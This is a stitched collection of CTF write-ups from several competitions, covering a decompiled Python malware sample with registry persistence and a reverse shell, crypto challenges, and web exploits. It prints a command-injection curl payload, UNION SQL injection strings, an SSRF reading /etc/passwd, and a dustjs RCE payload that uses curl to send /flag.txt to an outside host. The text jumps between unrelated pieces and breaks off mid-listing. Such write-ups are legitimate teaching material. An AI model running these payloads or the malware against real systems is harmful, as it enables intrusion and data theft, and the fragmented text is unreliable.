Final payload in curl:```curl -i -s -k -X $'POST' \ -H $'Host: admin.eko.cap.tf' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 145' \ --data-binary $'id=BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV&data=NzM3OTczNzQ2NTZkMjgyNzYzNjE3NDIwMmY3NjYxNzIyZjc3Nzc3NzJmNjg3NDZkNmMyZjJlNjg3NDVmNjY2YzYxNjcyNzI5M2I=' \ $'http://admin.eko.cap.tf:10000/scripts/pat/builds.php'```
`NzM3OTczNzQ2NTZkMjgyNzYzNjE3NDIwMmY3NjYxNzIyZjc3Nzc3NzJmNjg3NDZkNmMyZjJlNjg3NDVmNjY2YzYxNjcyNzI5M2I=` is `base64_encode(bin2hex('system('cat /var/www/html/.ht_flag');'))`
#### EKO{C4rb3rppppppp}
|
Task
> This file was recovered from a malware infected machine, help us to uncover its secrets.>> Attachment: ekans.zip
Category: Practical
Unzipping the file we found a 400 lines long text file called `ekans.txt` ([download](https://gist.github.com/maurom/325e9ec3c26c17f78a47ab3c056d275c#file-ekans-txt)) that seems to be a sort of disassembly. By some key words on the file (`encode`, `b64decode`, `currentframe`, ...) we find that it is, in fact, a python bytecode disassembly such as the output of [dis - Disassembler for Python bytecode](https://docs.python.org/3/library/dis.html).
```Disassembly of EdOxwEACgFH:Disassembly of AC8AAxkqHjQGPxcvCzwdKGQ8: 27 0 LOAD_FAST 0 (self) 2 LOAD_ATTR 0 (__class__) 4 LOAD_ATTR 1 (__name__) 6 LOAD_METHOD 2 (encode) 8 CALL_METHOD 0 10 STORE_FAST 1 (mask)
28 12 LOAD_GLOBAL 3 (len) 14 LOAD_FAST 1 (mask) 16 CALL_FUNCTION 1 18 STORE_FAST 2 (lmask)
...```
In essence, the CPython interpreter can be seen as a stack-based virtual machine, and thankfully the line format is detailed in [disco](https://docs.python.org/3/library/dis.html#dis.disco) and the opcodes in the [Python Bytecode Instructions](https://docs.python.org/3/library/dis.html#python-bytecode-instructions) documentation:
```Source-Line-Number Bytecode-Address Opcode-Name Parameters Interpretation```
So the first decoded block of that file tells us that on line `27` of the(unknown yet) original source code:
1. There's a `EdOxwEACgFH` block (a class, maybe?), and inside it there's a `AC8AAxkqHjQGPxcvCzwdKGQ8` block (a method, probably), and inside it...2. the first opcode, on offset `0`, [`LOAD_FAST`](https://docs.python.org/3/library/dis.html#opcode-LOAD_FAST) pushes a reference to the local `self` variable onto the stack;3. the next opcode, on offset `2`, [`LOAD_ATTR`](https://docs.python.org/3/library/dis.html#opcode-LOAD_ATTR) replaces the top-of-stack value with the attribute `__class__` of the object contained in the top-of-stack (`self`);4. the next opcode does similarly, but now operating over `__class__`, so it loads the attribute `__name__` on top of the stack;5. the next opcode [`LOAD_METHOD`](https://docs.python.org/3/library/dis.html#opcode-LOAD_METHOD) loads the method `encode` of the top-of-stack object;6. the next one [`CALL_METHOD`](https://docs.python.org/3/library/dis.html#opcode-CALL_METHOD) is, well, self-explanatory: call method `encode` with no arguments, removing two of the top-of-stack objects and pushes the result on the stack;7. finally [`STORE_FAST`](https://docs.python.org/3/library/dis.html#opcode-STORE_FAST) stores the top-of-stack object into the variable `mask`.
That is:
```pythonclass EdOxwEACgFH: def AC8AAxkqHjQGPxcvCzwdKGQ8(self): mask = self.__class__.__name__.encode() # line 27 ...```
Line 28 on is left unconverted as an exercise to the reader.
We did a quick search for automatic (_magic!_) "re-assemblers" of this source format, but found none; so, rolling up my sleeves, I started parsing this bit by bit.
After converting every block of code, I had to add the required imports of modules `base64`, `inspect`, `os`, `socket` and `subprocess`; I skipped `winreg` because this is a linux machine and we don't allow such modules here, hehe. Also, there are some constants undefined, so I used `None` or `''` to define them.
Finally, as the order of the methods on the disassembly is messed up (due to compiler optimizations, I guess), I had to reorder the methods a little bit on my source code to match the line numbers on the disassembly to the ones on my source code.
This is what I got:
```python#!/usr/bin/env python3
import base64import inspectimport osimport socketimport subprocess# from winreg import EnumValue, OpenKey, SetValueEx, HKEY_LOCAL_MACHINE, KEY_ALL_ACCESS, REG_SZ
KEY_NAME = ''KEY_PATH = ''REV_SHELL = ''SHELL_PORT = ''TRIGGER_PATH = ''MALWARE_NAME = ''MALWARE_PATH = ''
class EdOxwEACgFH:
def NRYgDBImHhwT(self, byt): mask = self.__class__.__name__.encode() lmask = len(mask) return bytes(c ^ mask[i % lmask] for i, c in enumerate(byt))
def AC8AAxkqHjQGPxcvCzwdKGQ8(self): mask = self.__class__.__name__.encode() # 27 lmask = len(mask) self.NRYgDBImHhwT(base64.b64decode(inspect.currentframe().f_code.co_name)) key = OpenKey(HKEY_LOCAL_MACHINE, KEY_PATH) keys = [] try: i = 0 while True: cur_key = EnumValue(key, i) keys.append(cur_key[0]) i += 1 except: pass if KEY_NAME not in keys: mlwr_key = OpenKey(HKEY_LOCAL_MACHINE, KEY_PATH, 0, KEY_ALL_ACCESS) SetValueEx(mlwr_key, KEY_NAME, 0, REG_SZ, TRIGGER_PATH) mlwr_key.Close() return False return True
def LQ0rHSgoIC8QJzog(self): mask = self.__class__.__name__.encode() lmask = len(mask) self.NRYgDBImHhwT(base64.b64decode(inspect.currentframe().f_code.co_name)) if os.path.exists(MALWARE_PATH) and os.path.exists(TRIGGER_PATH): return True else: payload = 'Set WshShell = WScript.CreateObject("WScript.Shell")\nWshShell.Run """{0}""", 0 , false'.format(MALWARE_PATH) with open(TRIGGER_PATH, 'w') as f: f.write(payload) os.system('copy %s %s' % (MALWARE_NAME, MALWARE_PATH)) return False
def AwE5HQU2JDAPIyQp(self): mask = self.__class__.__name__.encode() # 65 self.NRYgDBImHhwT(base64.b64decode(inspect.currentframe().f_code.co_name)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((REV_SHELL, SHELL_PORT)) flag = b'JgsiFRYrJWNHfGhl' s.send('\n\\!/ anarc0der mlwr tutorial\n\n[*] If you need to finish, just type: quit\n[*] PRESS ENTER TO PROMPT\n\n') while True: data = s.recv(1024) if 'quit' in data: break cmd = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) saida_cmd = cmd.stdout.read() + cmd.stderr.read() s.send(saida_cmd) s.send(self.NRYgDBImHhwT(base64.b64decode(flag))) s.close()
def main(): my_returns = [] x = EdOxwEACgFH() my_returns.append(x.AC8AAxkqHjQGPxcvCzwdKGQ8()) my_returns.append(x.LQ0rHSgoIC8QJzog()) if all(res is True for res in my_returns): x.AwE5HQU2JDAPIyQp()```
You can find a detailed explanation linking each block to each statement on [this github gist](https://gist.github.com/maurom/325e9ec3c26c17f78a47ab3c056d275c).
I saved the file as `/tmp/mw.py` (as some lines mention that path) and ran the disassembler:
```bash$ cd /tmp$ python3 > output.txt <<EOFimport disimport mwdis.dis(mw)EOF
diff -wB output.txt ekans.txt # compare our disassembly with the original```
The first time I tried, there were some differences because of the presence of `SETUP_LOOP` opcodes in the disassembly. Hmm...
Well, I was using Python 3.7, and it turns out that in Python 3.8 [they got rid of `SETUP_LOOP` and similar opcodes](https://docs.python.org/3/whatsnew/3.8.html#cpython-bytecode-changes). As the malware disassembly does not have any such opcodes, now we know that the person who compiled/disassembled the file was using that version or a newer one.
So now, armed with a dockerized python3.8...
```bash$ cd /tmp$ python3.8 > output.txt <<EOFimport disimport mwdis.dis(mw)EOF
diff -wB output.txt ekans.txt # compare our disassembly with the original```
```diff314c315< 28 LOAD_CONST 1 (<code object <genexpr> at 0x7fd96d5962f0, file "/tmp/mw.py", line 24>)---> 28 LOAD_CONST 1 ( at 0x7f0a5361b190, file "/tmp/mw.py", line 24>)325c326< Disassembly of at 0x7fd96d5962f0, file "/tmp/mw.py", line 24>:---> Disassembly of at 0x7f0a5361b190, file "/tmp/mw.py", line 24>:370c373< 40 LOAD_CONST 1 ( at 0x7fd96d3f89d0, file "/tmp/mw.py", line 86>)---> 40 LOAD_CONST 1 ( at 0x7f0a5361b660, file "/tmp/mw.py", line 86>)386c389< Disassembly of at 0x7fd96d3f89d0, file "/tmp/mw.py", line 86>:---> Disassembly of at 0x7f0a5361b660, file "/tmp/mw.py", line 86>:```
Save for memory addresses, the disassembly of the hand-made source seems to be almost bit by bit identical to the original bytecode, se we're good to go. Read the [_Evolving Exact Decompilation_ paper](https://www.cs.unm.edu/~eschulte/data/bed.pdf) by Schulte et al if you, like me, are interest on byte-equivalent decompilation.
Well, by reading the source we can see that it is a part or a component of a windows malware, that sets some registry keys and on `AwE5HQU2JDAPIyQp()` it sets up a remote shell server.
On the same method there's an interesting `flag` variable `'JgsiFRYrJWNHfGhl'` that is "decoded" with the `NRYgDBImHhwT()` method and sent to a remote user every time after a command is received.
So checking out the `NRYgDBImHhwT()` method we find out that it basically does XOR of a byte sequence with the name of the current class `EdOxwEACgFH`.
Then the first step is to pass `flag` through `NRYgDBImHhwT()` to see what it comes out:
```bash$ python3> from base64 import b64decode> from mw import EdOxwEACgFH> EdOxwEACgFH().NRYgDBImHhwT(b64decode(b'JgsiFRYrJWNHfGhl'))b'command : '```
Oh, thats not the flag we were expecting. Damn!
However, every function name on this file seem fishy; lets use `NRYgDBImHhwT()` against every method on this file:
```$ python3> from base64 import b64decode> from mw import EdOxwEACgFH>> obj = EdOxwEACgFH()> for name in dir(EdOxwEACgFH):> if not name.startswith('__'):> print(name, obj.NRYgDBImHhwT(b64decode(name)))
AC8AAxkqHjQGPxcvCzwdKGQ8 b'EKO{no_way_jose_!}'AwE5HQU2JDAPIyQp b'Feverseshell'LQ0rHSgoIC8QJzog b'hide_malware'NRYgDBImHhwT b'protec__t'```
Well, there you have it, José.
Flag: `EKO{no_way_jose_!}` |
tldr;- the server implements some weird mode of operation that is very similar to ECB- we are allowed one block of encryption and one block of decryption, if we can recover the IV, we can easily decrypt any block- abuse pkcs#7 padding to get two identical blocks- requesting the encryption of `b'\x10'*16` will encrypt two identical blocks, which we can use to recover the IV- decrypt the ciphertext blocks to recover the flag!
[DUCTF GitHub](https://github.com/DownUnderCTF/Challenges_2020_public)
[writeup](https://jsur.in/posts/2020-09-20-downunderctf-2020-writeups#ecbc) |
# Flag SP-network
We are given a file, `sp_network.py`, containing code to encrypt data, along with the encrypted flag. As always, we'll need to figure out how to get the flag!
Because the file says the flag is encrypted, it's reasonable to assume we need to *decrypt* it.For decryption, we'll need1. the key2. the decryption algorithm
## The Key
This is how the key is computed:
```pythonkey = [random.randrange(255), random.randrange(255)] * 4print(key)# [176, 17, 176, 17, 176, 17, 176, 17]```
Though at first it might seem like the key consists of 8 random bytes, in reality it only consists of two random bytes, repeated four times. Once we have the required decryption algorithm, it should be no problem to iterate through the whole key space to find the correct key.
## The Encryption Algorithm
Let's look at the encryption function `r`:
```pythondef r(p, k): ## 1. keys = ks(k) ## 2. state = str_split(p) ## 3. for b in range(len(state)): ## 4. for i in range(rounds): ## 5. Core of the encryption rk = kx(to_ord(state[b]), keys[i]) state[b] = to_chr(en(to_chr(rk))) return [ord(e) for es in state for e in es]```
1. The `ks` function takes the key and generates "round keys". For this, it simple rotates bytes around:
```pythonkey = [45, 89, 45, 89, 45, 89, 45, 89]ks(key)# => [# [45, 89, 45, 89, 45, 89, 45, 89],# [89, 45, 89, 45, 89, 45, 89, 45],# [45, 89, 45, 89, 45, 89, 45, 89],# [89, 45, 89, 45, 89, 45, 89, 45],# [45, 89, 45, 89, 45, 89, 45, 89]# ]```
2. The input string is split into blocks of size `block_size` (8 in this instance).3. Each block is processed separately.4. The core of the encryption algorithm (see 5.) is performed `rounds` number of times.5. `kx` just XORs the key with the current state variable. This is the actual encryption. The call to `en` looks complicated, but turns out to be rather simple. To see this, observe that the function performs the same operation on all of its input bytes. Extract the core of the function (the loop body) and observe that it yields a different, unique output value for each unique input. This is a straightforward byte substitution.
```pythondef en_core(c): a, b = bin_split(to_bin(ord(c))) sa, sb = s(to_int(a), to_int(b)) pe = p( bin_join((to_bin(sa, int(block_size / 2)), to_bin(sb, int(block_size / 2)))) ) return to_int(pe)
en_lut = { x: en_core(x) for x in range(256)}
assert len(set(en_lut.keys())) == 256# Using set(), duplicate values are filtered out# However, here there are no duplicates.# Each value occurs exactly once!assert len(set(en_lut.values())) == 256```
## The Decryption Algorithm
At this point, we understand the encryption algorithm and want to decrypt the flag. To do so, we need to invert the encryption algorithm.
```pythondef r(p, k): ## 1. keys = ks(k) ## 2. state = str_split(p) ## 3. for b in range(len(state)): ## 4. for i in range(rounds): ## 5. Core of the encryption rk = kx(to_ord(state[b]), keys[i]) state[b] = to_chr(en(to_chr(rk))) return [ord(e) for es in state for e in es]```
Looking back at `r`, we only need to invert Step 5. To do this, it might be helpful to untangle the loop body into something like this:
```pythoninput = state[b]step1 = kx(to_ord(input), keys[i])step2 = to_chr(step1)step3 = en(step2)output = to_chr(step3)```
To invert this, we start from the output and work back to the input:
```pythonstep3 = to_ord(output)step2 = de(step3)step1 = to_ord(step2)input = to_chr(kx(step1, keys[i]))```
Here, `de` is the inverse function of `en`. It is essentially a simple dictionary lookup with an inverted `lut` dictionary, as can be seen in the following listing. All other operations should be straightforward. For your own testing, it's helpful to set `rounds = 1`.
```python# Inverse mapping, for de(cryption) functionde_lut = { y: chr(x) for (x, y) in en_lut.items()}
def de(e): return "".join([de_lut[v] for v in e])```
You'll notice that the first line, `step3 = to_ord(output)` is not necessary because the output is already a list of `int`s. Similarly, the `to_chr` operation in the last line can be omitted, because the result (`input`) is used as the `output` variable in the next loop iteration. We'll use an additional `to_chr` at the very end of decryption.
## Putting It Together
Here's the complete `decrypt` function:
```pythondef decrypt(ciphertext, key): keys = ks(key) state = str_split(ciphertext) for b in range(len(state)): for i in range(rounds): output = state[b] # Step 3 not necessary, because r(p, k) does ord() at the end # => final output is already in desired format # step3 = to_ord(output) step2 = de(output) step1 = to_ord(step2)
# Iterate through keys in reverse order input = kx(step1, keys[-1 - i])
state[b] = input
return "".join([chr(e) for es in state for e in es])```
With that, to decrypt the flag, we try every possible key (16-bit keyspace!)
```pythonfor x in range(256): for y in range(256): candidate = [x, y] * 4
plaintext = decrypt(ciphertext, k) if plaintext.startswith("flag"): print(f'Found flag: {plaintext}') break```
et voilà: the flag is `flag{i_guess_2_bytes_wasnt_enough_after_all}` |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.
I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`
From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`
Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.
Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
